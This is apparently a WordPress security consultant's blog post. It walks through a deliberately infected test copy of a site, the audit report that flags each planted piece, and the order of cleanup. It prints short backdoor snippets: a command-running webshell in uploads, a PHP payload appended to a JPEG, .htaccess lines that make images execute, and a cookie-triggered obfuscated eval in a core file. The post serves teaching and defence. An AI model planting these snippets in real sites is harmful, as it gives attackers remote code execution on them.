
A WordPress site rarely gets hacked in one dramatic moment. Far more often, one small file lands somewhere it was never supposed to be, and that single file quietly hands the attacker everything: your database, your visitors, your search rankings, your ability to send email. Weeks pass before anyone notices — usually when Google flags the site, or the host suspends the account for sending spam.
To show what my audit actually catches, I did not wait for a real incident. I took a disposable copy of a real, healthy WordPress 7.0 site, infected it with the exact techniques attackers use in the wild, and ran my audit against it. Every payload below is defanged so the copy is safe to keep on my machine — but each one carries the same signature a live infection would. Nothing here touches a production site.
This is the walkthrough.
The five things an attacker leaves behind
A real compromise is not one file. It is a *kit* — a working shell, a way back in if you delete the shell, and a few changes that make the whole thing survive a half-hearted cleanup. Here is the kit I planted, and why each piece exists.
1. The webshell in uploads/
wp-content/uploads/2026/03/wp-cache-min.php
The name is the first lie. wp-cache-min.php sounds like something a caching plugin created. It sits in uploads/2026/03/ next to genuine media files, in a folder nobody ever browses by hand. Inside:
if (isset($_REQUEST['c'])) {
system($_REQUEST['c']); // run any command the attacker sends
}
@eval(base64_decode("...")); // load the next stage, obfuscated
That is the whole game. Anything the attacker puts in the c parameter runs as the web-server user. They can read wp-config.php, dump the database, drop more files, or pivot to other sites on the same account.
Why it works: wp-content/uploads/ is world-writable by design — it has to be, so WordPress can save the images you upload. Nothing in stock WordPress stops a .php file from being *written* there, and nothing stops the server from *executing* it once it is. That gap is the single most exploited weakness in the platform.
2. The polyglot image
wp-content/uploads/2026/03/sunset.jpg
Open it and it is a valid JPEG. Its first bytes are a real image header, so a media library preview renders it as a picture. But appended after the image data:
<?php eval($_POST[0]); ?>
This is the backup shell. If an administrator finds wp-cache-min.php and deletes it, the attacker still has a shell hiding inside a file that looks exactly like a holiday photo — and most cleanup efforts never open the images.
3. The .htaccess that makes the photo run
A .jpg containing PHP is harmless *unless the server agrees to execute it*. So the attacker drops this into uploads/:
php_value auto_prepend_file /var/www/html/wp-content/uploads/2026/03/wp-cache-min.php
AddType application/x-httpd-php .jpg
Two lines, two jobs. AddType tells the server to treat every .jpg in this folder as executable PHP — now sunset.jpg is a working shell. And auto_prepend_file runs the webshell *before every single request in that directory*, so even a request for a real image re-establishes the attacker's foothold.
This is persistence, and it is the piece most cleanups miss. You can delete every malicious PHP file on the server, and this .htaccess will resurrect the infection from an image the moment anyone loads a page.
4. The modified core file
wp-includes/load.php
WordPress ships with a fixed set of core files, and every official release has a published list of their exact checksums. Attackers know most people never verify those, so a favourite trick is to inject a few lines into a file that loads on *every* page:
if (isset($_COOKIE['x'])) {
eval(gzinflate(base64_decode($_COOKIE['x'])));
}
Now the attacker does not even need a separate shell file. They send a cookie, and the site executes whatever it contains — layered under base64 and gzip so a casual glance at the file sees nothing. This is the hardest piece to spot by eye and the easiest to catch with a checksum comparison.
5. The dropped fake-admin file and the leaked config backup
wp-admin/wp-admin.php <- does not exist in real WordPress
wp-config.php.bak <- your database password, served as plain text
wp-admin.php is a file that has never existed in any WordPress release — it is named to blend into wp-admin/. And wp-config.php.bak is the quiet killer: web servers execute .php but serve .bak as plain text. Anyone who requests https://site.com/wp-config.php.bak reads your database credentials directly in their browser. This one is not always the attacker — sometimes it is a well-meaning developer who made a backup before editing. The effect is identical.
Running the audit
Here is the abridged report from my scanner against the infected copy. It is read-only — it reads files, compares them against the official WordPress checksums, and never modifies anything:
== 1. Core integrity
[CRITICAL] 1 core file(s) differ from the official WordPress 7.0.2 release
wp-includes/load.php
[HIGH ] 1 unexpected file(s) inside wp-admin/ or wp-includes/
wp-admin/wp-admin.php
== 2. Configuration & hardening
[CRITICAL] Backup copy of wp-config.php in the web root
wp-config.php.bak
[CRITICAL] .htaccess contains directives typical of a persistent backdoor
wp-content/uploads/.htaccess: php_value auto_prepend_file ...
wp-content/uploads/.htaccess: AddType application/x-httpd-php .jpg
== 3. Uploads directory
[CRITICAL] Executable PHP inside wp-content/uploads
wp-content/uploads/2026/03/wp-cache-min.php
[CRITICAL] Image files containing PHP code (polyglot payload)
wp-content/uploads/2026/03/sunset.jpg
== 4. Suspicious code patterns
[CRITICAL] eval() over an obfuscated payload (2 file(s))
wp-content/uploads/2026/03/wp-cache-min.php
wp-includes/load.php
== Summary
CRITICAL 6 HIGH 3 MEDIUM 5 LOW 3 OK 5
Six criticals, and — this is the important part — they point at each other. The modified load.php, the shell in uploads, the polyglot image, and the .htaccess that ties them together are not six unrelated problems. They are one coordinated kit. That is the difference between a compromised site and a merely sloppy one: on a healthy site the findings are scattered hygiene issues; on a hacked one they form a chain.
A word on false positives
The report also flags 25 files with "shell execution with a variable argument" and 20 with "long base64 blobs." Almost all of those are legitimate. Rank Math, WP Mail SMTP, and WordPress core itself all use base64_decode() and shell functions for entirely honest reasons. A scanner that treated every match as malware would be worse than useless — it would bury the six real findings under a hundred fake ones.
This is why the tool reports *signals, not verdicts*, and why every finding I put in a client report was opened and read by hand first. The scanner narrows 5,000 files down to a dozen worth a human's attention. Reading those twelve is the job.
Cleaning it up — in the right order
The order matters more than the cleanup itself. Do it wrong and the site is reinfected within days, the client concludes you did not fix it, and you have lost both the money and the reference.
- Close the entry point first. Before deleting a single malicious file,
find and patch how they got in — almost always an outdated plugin. Clean before you close, and the attacker simply walks back in through the same door.
- Kill persistence. Remove the
.htaccess, so the images stop executing.
This is step two because it is what regenerates everything else.
- Restore core from known-good. Replace
wp-includes/load.php— and ideally
all of wp-admin and wp-includes — from a clean download of the same WordPress version. Never hand-edit a compromised core file; you cannot be sure you found every injected line.
- Remove the shells. Delete
wp-cache-min.php, the fakewp-admin.php, the
polyglot sunset.jpg, and the exposed wp-config.php.bak.
- Rotate every secret. New database password, new authentication salts, and
force a logout of all sessions. The attacker had your credentials; assume they still do until you change them.
- Harden so it does not recur. Block PHP execution in
uploads/, turn off
the in-dashboard file editor (DISALLOW_FILE_EDIT), and remove inactive plugins — deactivated code is still on disk and still exploitable.
Then re-run the audit and attach the clean output as proof the work is done.
What this does not cover
Honesty is part of the job, so: a file-level audit like this proves the file system is clean, not that the *site* is clean. Malware that lives purely in the database — injected spam links, a rogue admin user, a malicious scheduled task — needs different checks, which is why my full process also inventories admin accounts and cron events. And after a confirmed compromise, the only fully trustworthy path is a rebuild from known-good sources, carrying across only the database content and the genuine uploads. Cleaning in place is faster and usually enough, but it is a judgement call, and a good practitioner tells you which one they are making and why.
*If your WordPress site is behaving strangely — unexpected redirects, spam in search results, a warning from your host — I do read-only security audits and malware removal. The audit comes with a written report you keep whether or not you hire me for the cleanup. Get in touch.*